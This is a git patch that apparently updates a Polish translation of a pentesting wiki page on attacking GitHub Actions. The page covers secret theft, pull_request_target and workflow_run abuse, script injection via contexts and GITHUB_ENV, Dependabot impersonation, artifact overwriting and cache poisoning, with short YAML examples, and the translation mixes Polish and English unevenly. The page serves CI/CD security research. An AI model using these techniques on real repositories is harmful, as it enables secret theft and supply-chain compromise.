From c520fef5b01c884fa5df68fa268cc6134787eecc Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 23:26:43 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-basic-information/az --- .../abusing-github-actions/README.md | 242 +++++++++--------- .../az-federation-abuse.md | 227 ++++++++++++++++ 2 files changed, 351 insertions(+), 118 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 207d24251..30761d129 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -2,52 +2,52 @@ {{#include ../../../banners/hacktricks-training.md}} -## Tools +## Narzędzia -Następujące narzędzia pomagają znaleźć Github Action workflows i nawet wykryć podatne na atak: +The following tools are useful to find Github Action workflows and even find vulnerable ones: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Sprawdź też checklistę pod adresem [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) -## Basic Information +## Podstawowe informacje Na tej stronie znajdziesz: -- **Podsumowanie wszystkich skutków** dla atakującego, który uzyska dostęp do Github Action -- Różne sposoby, by **uzyskać dostęp do action**: -- Posiadanie **permissions** do utworzenia action -- Nadużywanie triggerów związanych z **pull request** -- Nadużywanie **other external access** techniques +- **Podsumowanie wszystkich skutków** jakie może mieć uzyskanie dostępu do Github Action przez atakującego +- Różne sposoby na **uzyskanie dostępu do action**: +- Posiadanie **uprawnień** do utworzenia action +- Nadużywanie wyzwalaczy związanych z **pull request** +- Nadużywanie **innych technik zewnętrznego dostępu** - **Pivoting** z już skompromitowanego repo -- Na końcu sekcja o **post-exploitation techniques to abuse an action from inside** (spowodować wymienione skutki) +- Na koniec sekcja o **post-exploitation techniques to abuse an action from inside** (powodujące wspomniane skutki) -## Impacts Summary +## Podsumowanie skutków For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). -Jeśli możesz **wykonać dowolny kod w GitHub Actions** w obrębie **repozytorium**, możesz: +Jeśli możesz **wykonywać dowolny kod w GitHub Actions** w obrębie **repozytorium**, możesz być w stanie: -- **Steal secrets** zamontowanych w pipeline i **abuse the pipeline's privileges** w celu uzyskania nieautoryzowanego dostępu do zewnętrznych platform, takich jak AWS i GCP. -- **Compromise deployments** i innych **artifacts**. -- Jeśli pipeline wdraża lub przechowuje zasoby, możesz zmienić finalny produkt, umożliwiając supply chain attack. -- **Execute code in custom workers** w celu nadużycia mocy obliczeniowej i pivotowania do innych systemów. -- **Overwrite repository code**, w zależności od uprawnień związanych z `GITHUB_TOKEN`. +- **Wykradać sekrety** zamontowane do pipeline i **nadużywać uprawnień pipeline'u** aby uzyskać nieautoryzowany dostęp do zewnętrznych platform, takich jak AWS i GCP. +- **Skompromitować deploymenty** i inne **artefakty**. +- Jeśli pipeline wdraża lub przechowuje zasoby, możesz zmienić końcowy produkt, umożliwiając supply chain attack. +- **Wykonywać kod w custom workers** by nadużyć mocy obliczeniowej i pivotować do innych systemów. +- **Zastąpić kod repozytorium**, w zależności od uprawnień powiązanych z `GITHUB_TOKEN`. ## GITHUB_TOKEN -This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) jest przyznawany, gdy administrator włączy tę opcję: +This "secret" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
Ten token jest tym samym, którego użyje **Github Application**, więc może uzyskać dostęp do tych samych endpointów: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github powinien udostępnić [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access w obrębie GitHub, więc repo może uzyskać dostęp do innych wewnętrznych repozytoriów używając `GITHUB_TOKEN`. +> Github powinien udostępnić a [**flow**](https://github.com/github/roadmap/issues/74) który **pozwala na dostęp między repozytoriami** w ramach GitHub, tak że repo może uzyskać dostęp do innych wewnętrznych repo przy użyciu `GITHUB_TOKEN`. -Możesz zobaczyć możliwe **permissions** tego tokena tutaj: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Możesz zobaczyć możliwe **uprawnienia** tego tokena w: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) Zauważ, że token **wygasa po zakończeniu joba**.\ Takie tokeny wyglądają tak: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Zwróć uwagę, że w kilku przypadkach możesz znaleźć **github user tokens inside Github Actions envs or in the secrets**. Tokeny te mogą dać ci więcej uprawnień względem repozytorium i organizacji. +> Zauważ, że w niektórych przypadkach możesz znaleźć **github user tokens inside Github Actions envs or in the secrets**. Tokeny te mogą dać Ci większe uprawnienia do repozytorium i organizacji.
-List secrets in Github Action output +Wypisz sekrety w wyjściu Github Action ```yaml name: list_env on: @@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Uzyskaj reverse shell przy użyciu secrets +Uzyskaj reverse shell za pomocą secrets ```yaml name: revshell on: @@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Możliwe jest sprawdzenie uprawnień przypisanych do Github Token w repozytoriach innych użytkowników poprzez **sprawdzenie logów Github actions**: +Możliwe jest sprawdzenie uprawnień przyznanych Github Token w repozytoriach innych użytkowników **sprawdzając logi** akcji:
## Dozwolone wykonanie > [!NOTE] -> To byłby najprostszy sposób na przejęcie Github actions, ponieważ ten scenariusz zakłada, że masz dostęp do **utworzenia nowego repozytorium w organizacji**, lub masz **uprawnienia zapisu do repozytorium**. +> To byłby najprostszy sposób na kompromitację Github actions, ponieważ w tym scenariuszu zakładamy, że masz dostęp do **create a new repo in the organization**, lub masz **write privileges over a repository**. > -> Jeśli jesteś w takiej sytuacji, możesz po prostu sprawdzić [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). +> Jeśli znajdujesz się w takiej sytuacji, możesz po prostu sprawdzić [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Wykonanie przez utworzenie repozytorium +### Wykonanie poprzez utworzenie repo -Jeżeli członkowie organizacji mogą **create new repos** i potrafisz uruchamiać Github actions, możesz **utworzyć nowe repozytorium i ukraść secrets ustawione na poziomie organizacji**. +W przypadku, gdy członkowie organizacji mogą **create new repos** i możesz uruchamiać Github actions, możesz **create a new repo and steal the secrets set at organization level**. ### Wykonanie z nowej gałęzi -Jeśli możesz **utworzyć nową gałąź w repozytorium, które już zawiera skonfigurowany Github Action**, możesz ją **zmodyfikować**, **wgrać** zawartość, a następnie **uruchomić tę akcję z nowej gałęzi**. W ten sposób możesz **exfiltrate repository and organization level secrets** (ale musisz wiedzieć, jak się nazywają). +Jeśli możesz **create a new branch in a repository that already contains a Github Action** skonfigurowaną, możesz ją **modify**, **upload** zawartość, a następnie **execute that action from the new branch**. W ten sposób możesz **exfiltrate repository and organization level secrets** (ale musisz wiedzieć, jak się nazywają). > [!WARNING] -> Każde ograniczenie zaimplementowane wyłącznie wewnątrz workflow YAML (na przykład, `on: push: branches: [main]`, warunki jobów lub bramki manualne) może zostać zmienione przez współpracowników. Bez zewnętrznego wymuszenia (branch protections, protected environments, and protected tags), contributor może skierować workflow tak, by uruchomić go na swojej gałęzi i nadużyć zamontowanych secrets/permissions. +> Każde ograniczenie zaimplementowane tylko w workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) może zostać zmienione przez collaborators. Bez zewnętrznego egzekwowania (branch protections, protected environments, and protected tags), contributor może przekierować workflow, aby uruchomił się na jego gałęzi i nadużyć zamontowanych secrets/permissions. -Możesz uczynić zmodyfikowaną akcję wykonywalną **ręcznie,** gdy **PR zostanie utworzony** lub gdy **jakiś kod zostanie pushed** (w zależności od tego, jak bardzo chcesz być głośny): +Możesz sprawić, że zmodyfikowana akcja będzie wykonywalna **ręcznie,** gdy **PR is created** lub gdy **some code is pushed** (w zależności od tego, jak dużo hałasu chcesz zrobić): ```yaml on: workflow_dispatch: # Launch manually @@ -180,49 +180,49 @@ branches: ``` --- -## Wykonanie z forków +## Wykonywanie z forków > [!NOTE] -> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **execute a Github Action of another repository**. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je przejąć. +> Istnieją różne triggery, które mogą pozwolić atakującemu **wykonać Github Action z innego repozytorium**. Jeśli te triggerowalne akcje są źle skonfigurowane, atakujący może je przejąć. ### `pull_request` -Wyzwalacz workflow **`pull_request`** uruchomi workflow za każdym razem, gdy pojawi się pull request, z pewnymi wyjątkami: domyślnie, jeśli to jest **pierwszy raz**, gdy **współpracujesz**, jakiś **maintainer** będzie musiał **zatwierdzić** **uruchomienie** workflow: +Wyzwalacz workflow **`pull_request`** uruchomi workflow za każdym razem, gdy otrzymany zostanie pull request, z pewnymi wyjątkami: domyślnie, jeśli to jest **po raz pierwszy**, gdy **współpracujesz**, jakiś **maintainer** będzie musiał **zatwierdzić** **uruchomienie** workflow:
> [!NOTE] -> Ponieważ **domyślne ograniczenie** dotyczy **kontrybutorów po raz pierwszy**, możesz wysłać poprawkę naprawiającą ważny błąd/typo, a następnie wysyłać **inne PR-y**, aby nadużyć swoich nowych przywilejów `pull_request`. +> Ponieważ **domyślne ograniczenie** dotyczy **pierwszorazowych** contributorów, możesz wnieść wkład naprawiając **prawidłowy bug/typo**, a potem wysyłać **kolejne PRy, aby nadużyć swoje nowe uprawnienia `pull_request`**. > -> **Przetestowałem to i to nie działa**: ~~Inną opcją byłoby utworzenie konta z nazwą kogoś, kto przyczynił się do projektu i usunął swoje konto.~~ +> **Przetestowałem to i nie działa**: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunął jego konto.~~ -Co więcej, domyślnie **blokowane są uprawnienia do zapisu** i **dostęp do sekretów** w repo docelowym, jak wspomniano w [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Co więcej, domyślnie **zabrania się uprawnień zapisu** i **dostępu do secrets** do docelowego repozytorium, jak wspomniano w [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -Atakujący mógłby zmodyfikować definicję Github Action, aby wykonać dowolne polecenia i dodać dodatkowe akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repo z powodu wspomnianych ograniczeń. +Atakujący mógłby zmodyfikować definicję Github Action, aby wykonać dowolne polecenia i dodać arbitralne akcje. Jednak nie będzie w stanie ukraść secrets ani nadpisać repo z powodu wspomnianych ograniczeń. > [!CAUTION] -> **Tak, jeśli atakujący zmieni w PR github action, które zostanie wyzwolone, jego Github Action będzie użyte zamiast tego z repozytorium źródłowego!** +> **Tak, jeśli atakujący zmieni w PR github action, który zostanie wyzwolony, to jego Github Action będzie tym użytym, a nie ten z repo źródłowego!** -Ponieważ atakujący kontroluje także kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień zapisu na `GITHUB_TOKEN`, atakujący mógłby na przykład **przesłać złośliwe artefakty**. +Ponieważ atakujący kontroluje także kod, który jest wykonywany, nawet jeśli `GITHUB_TOKEN` nie ma secrets ani uprawnień zapisu, atakujący mógłby np. **upload malicious artifacts**. ### **`pull_request_target`** -Wyzwalacz workflow **`pull_request_target`** ma **uprawnienia do zapisu** w repo docelowym i **dostęp do sekretów** (i nie wymaga zatwierdzenia). +Wyzwalacz workflow **`pull_request_target``** ma **uprawnienia zapisu** do docelowego repozytorium i **dostęp do secrets** (i nie wymaga zatwierdzenia). -Zwróć uwagę, że wyzwalacz workflow **`pull_request_target`** **uruchamia się w kontekście base**, a nie w tym dostarczonym przez PR (aby **nie uruchamiać nieufnego kodu**). Po więcej informacji o `pull_request_target` [**sprawdź docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Dodatkowo, po więcej informacji o tym specyficznie niebezpiecznym użyciu, zobacz ten [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Zauważ, że wyzwalacz workflow **`pull_request_target`** **uruchamia się w kontekście base**, a nie w tym dostarczonym przez PR (aby **nie wykonywać niezaufanego kodu**). Po więcej informacji o `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Ponadto, dla dodatkowych informacji o tym konkretnie niebezpiecznym użyciu sprawdź ten [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Może się wydawać, że ponieważ **wykonywany workflow** jest tym zdefiniowanym w **base**, a **nie w PR**, użycie **`pull_request_target`** jest **bezpieczne**, ale istnieje **kilka przypadków, w których tak nie jest**. +Może się wydawać, że ponieważ **wykonywany workflow** jest tym zdefiniowanym w **base**, a **nie w PR**, to użycie **`pull_request_target`** jest **bezpieczne**, ale istnieje **kilka przypadków, gdzie tak nie jest**. -A ten będzie miał **dostęp do sekretów**. +I ten będzie miał **dostęp do secrets**. ### `workflow_run` -Wyzwalacz [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) pozwala uruchomić workflow z innego, gdy ten jest `completed`, `requested` lub `in_progress`. +Wyzwalacz [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) pozwala uruchomić workflow z innego workflow, gdy ten jest `completed`, `requested` lub `in_progress`. -W tym przykładzie workflow jest skonfigurowany do uruchomienia po zakończeniu oddzielnego workflow "Run Tests": +W tym przykładzie workflow jest skonfigurowany tak, aby uruchamiać się po zakończeniu oddzielnego workflow "Run Tests": ```yaml on: workflow_run: @@ -230,29 +230,31 @@ workflows: [Run Tests] types: - completed ``` -Co więcej, zgodnie z dokumentacją: Workflow uruchomiony przez zdarzenie `workflow_run` może **uzyskać dostęp do secrets i zapisać tokens, nawet jeśli poprzedni workflow tego nie robił**. +Ponadto, zgodnie z dokumentacją: workflow uruchomiony przez zdarzenie `workflow_run` ma możliwość **dostępu do sekretów i zapisu tokenów, nawet jeśli poprzedni workflow tego nie miał**. -Taki workflow może zostać zaatakowany, jeśli **zależy** od **workflow**, które może być **wyzwolone** przez zewnętrznego użytkownika poprzez **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Pierwszy polega na tym, że workflow wyzwolony przez **`workflow_run`** pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}` -Drugi polega na **przekazaniu** **artifact** z **untrusted** kodu do workflow **`workflow_run`** i użyciu zawartości tego artifact w sposób, który czyni go podatnym na **RCE**. +Tego typu **workflow** może być zaatakowany, jeśli **zależy** od **workflow**, które może zostać **wywołane** przez zewnętrznego użytkownika za pomocą **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można znaleźć na [**tym blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). + +Pierwszy polega na tym, że workflow wywołany przez **`workflow_run`** pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}`\ +Drugi polega na **przekazaniu** **artefaktu** z **niezaufanego** kodu do workflow **`workflow_run`** i użyciu zawartości tego artefaktu w sposób, który czyni go **podatnym na RCE**. ### `workflow_call` TODO -TODO: Sprawdzić, czy gdy jest uruchamiany z `pull_request`, używany/pobrany kod pochodzi z origin czy z forkowanego PR +TODO: Sprawdzić, czy gdy jest uruchamiane z pull_request, użyty/pobrany kod pochodzi z repozytorium bazowego czy z forkowanego PR -## Abusing Forked Execution +## Nadużywanie wykonania z forków -Wspomnieliśmy wszystkie sposoby, w jakie zewnętrzny atakujący może spowodować wykonanie GitHub workflow, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być nadużyte: +Wspomnieliśmy już o wszystkich sposobach, na które zewnętrzny atakujący może doprowadzić do wykonania github workflow. Teraz przyjrzyjmy się, jak takie wykonania, jeśli są źle skonfigurowane, mogą zostać nadużyte: -### Untrusted checkout execution +### Wykonanie z niezaufanym checkoutem -W przypadku **`pull_request`**, workflow zostanie uruchomiony w **kontekście PR** (czyli wykona **złośliwy kod PR**), ale ktoś musi go najpierw **autoryzować** i będzie on działał z pewnymi [ograniczeniami](#pull_request). +W przypadku **`pull_request`**, workflow zostanie wykonany w **kontekście PR** (czyli wykona **złośliwy kod PR**), ale ktoś musi go **najpierw autoryzować** i będzie uruchomiony z pewnymi [ograniczeniami](#pull_request). -W przypadku workflow używającego **`pull_request_target` or `workflow_run`**, które zależy od workflow, które można wywołać z **`pull_request_target` or `pull_request`**, wykonany zostanie kod z oryginalnego repozytorium, więc **atakujący nie może kontrolować wykonywanego kodu**. +W przypadku workflow używającego **`pull_request_target` or `workflow_run`**, które zależy od workflow, które może być wywołane z **`pull_request_target` or `pull_request`**, kod z oryginalnego repo zostanie wykonany, więc **atakujący nie może kontrolować wykonywanego kodu**. > [!CAUTION] -> Jednak, jeśli **action** ma **jawny PR checkout**, który **pobierze kod z PR** (a nie z base), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie pobierany jest kod PR): +> Jednak jeśli **action** ma **jawny checkout PR**, który **pobra kod z PR** (a nie z base), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie kod PR jest pobierany):
# INSECURE. Provided as an example only.
 on:
@@ -282,32 +284,32 @@ message: |
 Thank you!
 
-Potencjalnie **nieufny kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty builda i odwołane **packages są kontrolowane przez autora PR**. +Potencjalnie **niezaufany kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty build i odwoływane **pakiety są kontrolowane przez autora PR**. > [!WARNING] -> Github dork do wyszukiwania podatnych actions to: `event.pull_request pull_request_target extension:yml` jednak istnieją różne sposoby skonfigurowania jobs, aby wykonywały się bezpiecznie nawet jeśli action jest źle skonfigurowany (np. używając warunków określających, kto jest actor generujący PR). +> Dork GitHub do wyszukiwania podatnych actions to: `event.pull_request pull_request_target extension:yml`, jednak istnieją różne sposoby skonfigurowania jobów tak, by były wykonywane bezpiecznie nawet jeśli action jest skonfigurowana niebezpiecznie (np. używanie conditionals dotyczących tego, kto jest aktorem tworzącym PR). -### Context Script Injections +### Wstrzyknięcia skryptów kontekstowych -Należy zauważyć, że istnieją pewne [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli github action używa tych **danych do wykonania czegokolwiek**, może to doprowadzić do **dowolnego wykonania kodu:** +Zauważ, że istnieją pewne [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli github action używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **dowolnego wykonania kodu:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Script Injection** +### **GITHUB_ENV Wstrzyknięcie skryptu** -Z dokumentacji: Możesz uczynić **zmienną środowiskową dostępną dla dowolnych kolejnych kroków** w jobie workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją do pliku środowiskowego **`GITHUB_ENV`**. +Z dokumentacji: Możesz udostępnić **zmienną środowiskową dla dowolnych kolejnych kroków** w jobie workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją do pliku środowiskowego **`GITHUB_ENV`**. -Jeśli atakujący mógłby **wstrzyknąć dowolną wartość** do tej **zmiennej env**, mógłby wstrzyknąć zmienne środowiskowe, które uruchomią kod w kolejnych krokach, takie jak **LD_PRELOAD** lub **NODE_OPTIONS**. +Jeśli atakujący mógłby **wstrzyknąć dowolną wartość** do tej zmiennej **env**, mógłby ustawić zmienne środowiskowe, które pozwolą wykonać kod w kolejnych krokach, np. **LD_PRELOAD** lub **NODE_OPTIONS**. -Na przykład ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), wyobraź sobie workflow, które ufa przesłanemu artifact i zapisuje jego zawartość do zmiennej środowiskowej **`GITHUB_ENV`**. Atakujący mógłby przesłać coś takiego, aby to przejąć: +Dla przykładu ([**to**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**to**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), wyobraź sobie workflow, które ufa przesłanemu artefaktowi i zapisuje jego zawartość do zmiennej środowiskowej **`GITHUB_ENV`**. Atakujący mógłby przesłać coś takiego, aby je skompromitować:
-### Dependabot and other trusted bots +### Dependabot i inne zaufane boty -Jak wskazano w [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), kilka organizacji ma GitHub Action, który merge'uje każdy PR od `dependabot[bot]`, jak w: +Jak wskazano w [**tym wpisie na blogu**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), niektóre organizacje mają Github Action, która scala każdy PR od `dependabot[bot]`, jak w: ```yaml on: pull_request_target jobs: @@ -317,16 +319,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -Co stanowi problem, ponieważ pole `github.actor` zawiera użytkownika, który spowodował ostatnie zdarzenie wyzwalające workflow. Istnieje kilka sposobów, aby sprawić, by użytkownik `dependabot[bot]` zmodyfikował PR. Na przykład: +Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example: -- Fork the victim repository +- Utwórz fork repozytorium ofiary - Dodaj złośliwy payload do swojej kopii -- Włącz Dependabot na swoim fork, dodając przestarzałą zależność. Dependabot utworzy branch naprawiający zależność ze złośliwym kodem. -- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet) -- Następnie atakujący wraca do początkowego PR, który Dependabot otworzył w jego fork i uruchamia `@dependabot recreate` -- Wtedy Dependabot wykonuje pewne akcje w tym branchu, które modyfikują PR w repo ofiary, co sprawia, że `dependabot[bot]` jest aktorem ostatniego zdarzenia wywołującego workflow (i w rezultacie workflow się uruchamia). +- Włącz Dependabot w swoim forku, dodając outdated dependency. Dependabot utworzy branch naprawiający dependency ze złośliwym kodem. +- Otwórz Pull Request do repozytorium ofiary z tego branchu (PR zostanie utworzony przez użytkownika, więc nic się jeszcze nie stanie) +- Następnie atakujący wraca do początkowego PR, który Dependabot otworzył w jego forku, i uruchamia `@dependabot recreate` +- Wtedy Dependabot wykonuje pewne akcje w tym branchu, które modyfikują PR w repozytorium ofiary, co sprawia, że `dependabot[bot]` staje się aktorem ostatniego zdarzenia uruchamiającego workflow (a zatem workflow zostaje uruchomiony). -Przechodząc dalej, co jeśli zamiast merge'a Github Action miałby command injection, jak w: +Moving on, what if instead of merging the Github Action would have a command injection like in: ```yaml on: pull_request_target jobs: @@ -336,22 +338,22 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Cóż, oryginalny wpis na blogu proponuje dwie opcje nadużycia tego zachowania, z których druga to: +Cóż, oryginalny wpis na blogu proponuje dwie opcje nadużycia tego zachowania, przy czym druga to: -- Utwórz fork repozytorium ofiary i włącz Dependabot z jakąś przestarzałą zależnością. -- Utwórz nowy branch ze złośliwym kodem shell injection. -- Zmień domyślny branch repo na ten. -- Stwórz PR z tego brancha do repozytorium ofiary. -- Uruchom `@dependabot merge` w PR, który Dependabot otworzył w jego fork. -- Dependabot zmerguje jego zmiany do domyślnego brancha twojego forkowanego repozytorium, aktualizując PR w repozytorium ofiary, sprawiając, że `dependabot[bot]` będzie aktorem ostatniego zdarzenia, które wywołało workflow, i używając złośliwej nazwy brancha. +- Fork the victim repository and enable Dependabot with some outdated dependency. +- Create a new branch with the malicious shell injeciton code. +- Change the default branch of the repo to that one +- Create a PR from this branch to the victim repository. +- Run `@dependabot merge` in the PR Dependabot opened in his fork. +- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name. -### Wrażliwe Github Actions stron trzecich +### Vulnerable Third Party Github Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. -Problem polega na tym, że jeśli parametr **`path`** nie jest ustawiony, artifact jest rozpakowywany w bieżącym katalogu i może nadpisać pliki, które później mogą być użyte lub nawet wykonane w workflow. W związku z tym, jeśli artifact jest podatny, atakujący może to wykorzystać do kompromitacji innych workflows, które ufają temu artifactowi. +Problem polega na tym, że jeśli parametr **`path`** nie jest ustawiony, artefakt jest rozpakowywany w bieżącym katalogu i może nadpisać pliki, które później mogą być użyte lub nawet wykonane w workflow. W związku z tym, jeśli artefakt jest podatny, atakujący może to wykorzystać do kompromitacji innych workflow, które mu ufają. Przykład podatnego workflow: ```yaml @@ -376,7 +378,7 @@ with: name: artifact path: ./script.py ``` -Można to zaatakować przy użyciu tego workflow: +To można zaatakować za pomocą tego workflow: ```yaml name: "some workflow" on: pull_request @@ -397,23 +399,23 @@ path: ./script.py ### Deleted Namespace Repo Hijacking -If an account changes it's name another user could register an account with that name after some time. If a repository had **mniej niż 100 stars przed zmianą nazwy**, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +Jeśli konto zmieni swoją nazwę, inny użytkownik może po pewnym czasie zarejestrować konto o tej samej nazwie. Jeśli repozytorium miało **mniej niż 100 stars przed zmianą nazwy**, Github pozwoli nowemu zarejestrowanemu użytkownikowi o tej samej nazwie utworzyć **repository with the same name** jak to usunięte. > [!CAUTION] -> Jeśli action używa repo z nieistniejącego konta, nadal możliwe jest, że attacker utworzy to konto i przejmie action. +> Jeśli action używa repo z nieistniejącego konta, nadal możliwe jest, że atakujący utworzy takie konto i przejmie action. -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Jeśli inne repo używały **dependencies from this user repos**, atakujący będzie w stanie je przejąć. Tutaj masz bardziej kompletne wyjaśnienie: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> W tej sekcji omówimy techniki, które pozwolą **pivot from one repo to another**, zakładając, że mamy jakiś rodzaj access do pierwszego (zobacz poprzednią sekcję). +> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section). ### Cache Poisoning -A cache is maintained between **workflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +Cache jest utrzymywany pomiędzy **workflow runs in the same branch**. Co oznacza, że jeśli atakujący **compromise** **package**, który zostanie zapisany w cache i **downloaded** oraz wykonany przez **more privileged** workflow, będzie w stanie również **compromise** ten workflow. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +423,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: +Workflows mogą korzystać z **artifacts from other workflows and even repos**. Jeśli atakujący zdoła **compromise** Github Action, która **uploads an artifact**, a artefakt zostanie potem użyty przez inny workflow, może on **compromise the other workflows**: {{#ref}} gh-actions-artifact-poisoning.md @@ -433,7 +435,7 @@ gh-actions-artifact-poisoning.md ### Github Action Policies Bypass -As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.** +As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), nawet jeśli repository lub organization ma politykę ograniczającą użycie niektórych actions, atakujący może po prostu pobrać (`git clone`) action wewnątrz workflow, a następnie odwołać się do niego jako do local action. Ponieważ polityki nie dotyczą lokalnych ścieżek, **the action will be executed without any restriction.** Przykład: ```yaml @@ -456,7 +458,7 @@ path: gha-hazmat - run: ls tmp/checkout 